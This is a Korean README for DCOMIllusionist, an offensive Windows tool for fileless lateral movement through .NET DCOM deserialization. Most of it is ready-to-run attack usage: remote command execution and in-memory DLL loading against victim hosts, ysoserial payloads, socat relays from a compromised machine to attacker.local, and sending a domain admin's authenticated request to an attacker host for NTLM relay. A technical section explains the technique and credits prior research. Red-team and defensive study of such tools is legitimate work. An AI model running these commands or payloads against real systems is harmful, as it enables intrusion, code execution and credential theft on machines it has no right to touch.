
DCOM을 통한 인메모리 및 파일리스 측면 이동 기술 (.Net 역직렬화 활용)
<div align="center" style="font-size: 148px;">
🎩✨🪄
</div>
<h1 align="center">
DCOMIllusionist
</h1>
<p align="center">
Windows 파일리스 측면 이동 기술.
</p>
<p align="center">
<a href="#introduction">소개</a> •
<a href="#build">빌드</a> •
<a href="#usage">사용법</a> •
<a href="#technical-details">기술적 세부 사항</a> •
<a href="#acknowledgements">감사의 말</a>
</p>
<br />
# 소개
이 도구는 관리자 권한이 있는 경우 Windows 머신에서 원격 코드 실행을 가능하게 합니다. DCOM과 .NET DCOM 서버의 동작(수신 객체를 자동으로 역직렬화하는)을 활용합니다. 이를 통해 디스크에 쓰지 않고도 임의 명령을 실행하거나 DLL을 로드할 수 있습니다.
원래 James Forshaw가 권한 상승 기술로 발견한 이 방법은 특정 레지스트리 키를 원격으로 수정하여 측면 이동에 적응되었습니다. 또한 DCOM을 통한 교차 세션 공격을 지원하여 다른 사용자 세션 내에서 해당 세션의 보안 컨텍스트로 임의 명령을 실행할 수 있습니다.
워크스테이션과 서버에서 작동하지만, 이 기술이 성공하려면 대상 머신과 공격자가 제어하는 머신 간의 네트워크 접근이 필요합니다.
자세한 내용은 [이 섹션](#technical-details)을 참조하세요.
# 빌드
릴리스가 제공되거나 수동으로 빌드할 수 있습니다:
```powershell
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
```
# 사용법
```powershell
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
```
> [!IMPORTANT]
> 이 도구를 성공적으로 사용하려면 공격 호스트(관리자 셸을 통해)와 대상 머신 모두에서 관리자 접근 권한이 필요합니다.
```
사용법:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
옵션:
-h, --help 도움말 메시지 표시 및 종료
-d, --debug 디버그 로깅 활성화
-t, --target <value> 대상 호스트 이름 또는 IP 설정
-p, --port <value> 대상 포트 설정 (기본값: 49765)
--clsid <value> CLSID 지정 (중괄호 없이)
--appid <value> AppID 지정 (중괄호 없이)
-s, --session <value> 세션 식별자 제공
-l --listen <host> 리스너 FQDN 또는 IP 지정
-g, --gadget <value> 사용할 가젯 지정
--attacker-sid <value> 공격자 SID 설정
--no-port-check 포트 가용성 확인 비활성화
--restore-backup <path> 백업에서 레지스트리 복원
--local-registry-only 로컬 레지스트리 수정만 수행
--remote-registry-only 원격 레지스트리 수정만 수행
--skip-local-registry-setup 로컬 레지스트리 설정 건너뛰기
--skip-remote-registry-setup 원격 레지스트리 설정 건너뛰기
--hku HKLM 대신 HKCU에서 원격 레지스트리 작업 수행
--fake-clsid 가짜 AppId로 가짜 CLSID 생성
공격:
--ps-exec <args> PSExec을 사용하여 원격으로 명령 실행
--exec <cmd> 원격으로 명령 실행
--exec-args <args> 명령에 전달할 인수
--curl <url> curl 스타일 웹 요청 페이로드 사용
--file-write-src <src> 쓸 파일
--file-write-dst <dst> 대상 경로
--load-dll <path> 원격 프로세스에 DLL 로드
--dll-class <value> 실행할 DLL 내 클래스 (네임스페이스 포함)
--dll-method <value> 클래스에서 실행할 정적 메서드 (기본값: Run)
--yso-b64 <b64> base64로 인코딩된 ysoserial 페이로드 실행
--test-network 대상에서 공격자 머신으로의 네트워크 접근 확인
--list-sessions 대상의 대화형 세션 나열
예제:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (기본값)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (기본값)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - 사용자 계정 컨트롤 설정 (대화형 사용자)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (대화형 사용자)
```
## `--session`
앞서 설명한 대로 세션을 지정하여 다른 사용자 세션에서 임의 명령을 실행할 수 있습니다.
> [!WARNING]
> 이 기능은 대화형 사용자 ID로 실행되도록 구성된 AppID에서만 작동합니다. 이는 자동으로 처리되므로 `--appid` 인수를 지정할 필요가 없습니다. 도구는 기본적으로 *사용자 계정 컨트롤 설정*과 연결된 AppID를 사용합니다.
> [!IMPORTANT]
> 공격 머신이 도메인에 가입된 경우에만 작동합니다. 자세한 내용은 [여기](#technical-details)를 참조하세요.
## `--list-sessions`
`WTSEnumerateSessions`를 사용하여 대상의 원격 대화형 및 활성 세션을 나열합니다.
## `--listen`
대상 머신이 공격자 호스트에 직접 연결할 수 없으면 공격이 실패합니다. 그러나 대상이 연결할 수 있는 중간 머신을 지정하는 것이 가능합니다. socat과 같은 도구를 사용하여 트래픽을 이 중간자에서 공격자 호스트로 중계할 수 있습니다.

- 손상된 머신에서:
```sh
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
```
- 공격자 머신에서:
```powershell
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
```
## `--attacker-sid`
`runas /netonly` 셸에서 공격을 실행하면 연결된 ID를 자동으로 검색할 수 없습니다. 따라서 공격이 성공하려면 `--attacker-sid` 옵션을 사용하여 명시적으로 제공해야 합니다.
## `--exec`
`--exec-args`와 함께 `--exec`를 사용하여 대상에서 임의 바이너리를 실행할 수 있습니다:
```powershell
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
```
> [!NOTE]
> `--ps-exec`는 이것의 래퍼일 뿐이며, 동일한 작업은 `--ps-exec calc`로 수행할 수 있습니다.
## `--curl`
Curl은 교차 세션 공격 시나리오에서 유용할 수 있습니다. 머신에 대한 관리자 권한이 있고, 예를 들어 세션 3에 도메인 관리자가 활성 상태인 경우, 해당 사용자를 대신하여 순수 .NET을 통해 인증된 HTTP 요청을 시작할 수 있습니다. 이 요청을 `ntlmrelayx.py`를 실행 중인 공격자 제어 머신으로 보내면 전통적인 NTLM 중계 공격을 수행하여 사용자를 손상시킬 수 있습니다.
```
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
```
## `--load-dll`
디스크에 닿지 않고 완전히 메모리 내에서 임의 DLL을 로드할 수 있습니다. 예를 들면:
```c#
// 빌드: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
```
```powershell
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
```
기본적으로 지정된 클래스의 매개변수가 없는 정적 `Run` 메서드가 실행됩니다. 이 동작은 `--dll-method` 매개변수를 사용하여 사용자 지정할 수 있습니다.
## `--yso-b64`
고급 가젯 생성을 위해 Ysoserial.net을 사용할 수 있습니다. 결과 Base64로 인코딩된 페이로드를 직접 제공할 수 있으며, RolePrincipal 인스턴스 내에 캡슐화되어 대상 머신에서 역직렬화됩니다.
> [!WARNING]
> BinaryFormatter에서만 작동합니다.
## `--test-network`
일반 공격과 동일한 작업을 수행하지만 더미 페이로드만 전송하여 대상이 공격자 머신에 연결할 수 있는지 확인합니다.
## `--hku`
`HKLM` 대신 `HKEY_USERS` 레지스트리 루트 키를 사용하여 낮은 권한의 사용자로 모든 것을 공격할 수 있습니다. 사용자가 `Performance Log Users` 또는 `Distributed COM Users` 그룹의 구성원인 경우 사용할 수 있습니다. 이 경우 올바른 레지스트리 경로에 접근하려면 `--attacker-sid`를 제공해야 합니다. 쓰기 가능한 `CLSID`도 제공해야 합니다([`--fake-clsid`](#--fake-clsid) 참조):
```powershell
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
```
## `--fake-clsid`
가짜 `CLSID`와 `AppId`를 생성합니다. `AppId`에 대한 권한이 설정되어 현재 사용자 또는 `--attacker-sid`가 DCOM 서버를 시작하고 활성화할 수 있습니다. 이는 HKU에서 낮은 권한의 사용자로 공격을 수행할 때 유용합니다.
```powershell
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] 가짜 CLSID 생성 중
[+] 새 AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] 새 CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
```
# 기술적 세부 사항
.NET으로 작성된 DCOM 서버가 객체를 수신하면 `IManagedObject` DCOM 인터페이스를 쿼리합니다. 인터페이스가 존재하면 서버는 `GetSerializedBuffer` 메서드를 호출합니다. 클라이언트는 객체의 직렬화된 버전으로 응답하고, 서버는 이를 역직렬화하여 임의 코드 실행으로 이어집니다. 성공하려면 피해자 머신이 공격자 호스트에 직접 네트워크 접근이 가능해야 합니다([`--listen`](#--listen) 참조).

임의의 DCOM OBJREF를 위조하여 대상 머신을 모든 원격 시스템으로 리디렉션할 수 있습니다. 예를 들어 socat을 사용하여 포트 135(및 다른 임의 포트)의 트래픽을 실제 공격자 제어 머신으로 전달할 수 있습니다. James Forshaw의 [개념 증명](https://project-zero.issues.chromium.org/issues/42451808)(나중에 "Potato" 익스플로잇의 기초가 됨)에서 그는 `PointerMoniker`의 GUID를 사용하여 OBJREF에서 임의 객체를 마샬링했습니다. 이 접근 방식은 인증을 성공적으로 트리거했지만 후속 단계에서 실패했습니다. 대신 표준 마샬러의 GUID를 사용하면 완전히 기능적인 임의 OBJREF를 생성하여 보낼 수 있습니다.
그러나 테스트된 Windows Server 버전에서는 기본적으로 .NET DCOM 서버가 노출되지 않습니다. 원격 상호 작용을 활성화하려면 Windows 레지스트리를 원격으로 수정하여 사용자 정의 AppID를 .NET CLSID와 연결하여 DCOM을 통해 액세스할 수 있도록 할 수 있습니다. AppID를 신중하게 선택하면 세션 모니커를 통해 교차 세션 공격도 가능해집니다. 대상 머신에 대화형 세션이 있는 경우에 가능합니다. 이는 James Forshaw가 [여기](https://www.tiraniddo.dev/2021/04/standard-activating-yourself-to.html)와 [여기](https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html)에서 다시 발견하고 자세히 설명했습니다.
공격이 성공하려면 대상 서버가 직렬화된 객체 데이터(가젯)를 공격자 제어 머신에서 검색해야 합니다. 이를 위해 서버가 공격자 호스트에 인증해야 합니다.
AppID가 대화형 사용자 ID로 실행되도록 구성되지 않은 경우 인증 시도는 *익명*으로 시작됩니다. 이를 허용하려면 공격자 머신이 기본 DCOM 액세스 권한을 수정하여 익명 DCOM 인증을 수락하도록 구성되어야 합니다.
AppID가 대화형 사용자와 연결된 경우 인증은 지정된 세션(`--session` 사용) 또는 기본적으로 세션 0의 사용자 ID로 수행됩니다. 이 경우 공격자 머신은 사용자 인증을 수락하려면 도메인에 가입되어 있어야 합니다. 그렇기 때문에 *Everyone* 그룹이 기본 DCOM 액세스 권한에 일시적으로 추가되어 성공적인 인증을 가능하게 합니다.
기본 액세스 권한만 수정되며, 시작 및 활성화 권한은 변경되지 않습니다. 모든 변경 사항은 작업이 완료되면 되돌려집니다. 문제가 발생하면 원래 설정의 백업이 생성되어 복원할 수 있습니다.
> [!CAUTION]
> 공격자 머신은 공격 중에 일시적으로 더 허용적인 상태로 남지만, 모든 변경 사항은 이후 되돌려집니다.
# 감사의 말
- [@tiraniddo](https://x.com/tiraniddo) - [원본 연구](https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html), [이 연구](https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html), 그리고 [oleviewdotnet](https://github.com/tyranid/oleviewdotnet)에 대해 감사드립니다. 그의 코드 중 상당 부분이 공개 C# 공격 도구(이 도구 포함)에서 재사용되었습니다.
- [@nt0x4](https://twitter.com/nt0x4) - `TextFormattingRunProperties` 가젯에 대한 작업과 임의 DLL을 메모리에 로드하는 방법을 보여준 것에 대해 감사드립니다. 이는 `--curl` 및 `--file-write` 공격에 재사용되었습니다.
- [@cube0x0](https://twitter.com/cube0x0) - [KrbRelay](https://github.com/cube0x0/KrbRelay)에 대해 감사드립니다.
- [@pwntester](https://x.com/pwntester) - [Ysoserial.net](https://github.com/pwntester/ysoserial.net/)에 대해 감사드립니다.
- [Dylan Tran](https://x.com/d_tranman)과 [Jimmy Bayne](https://x.com/bohops) (IBM X-Force Red) - [ForsHops](https://github.com/xforcered/ForsHops)에서 일부 영감을 받았습니다.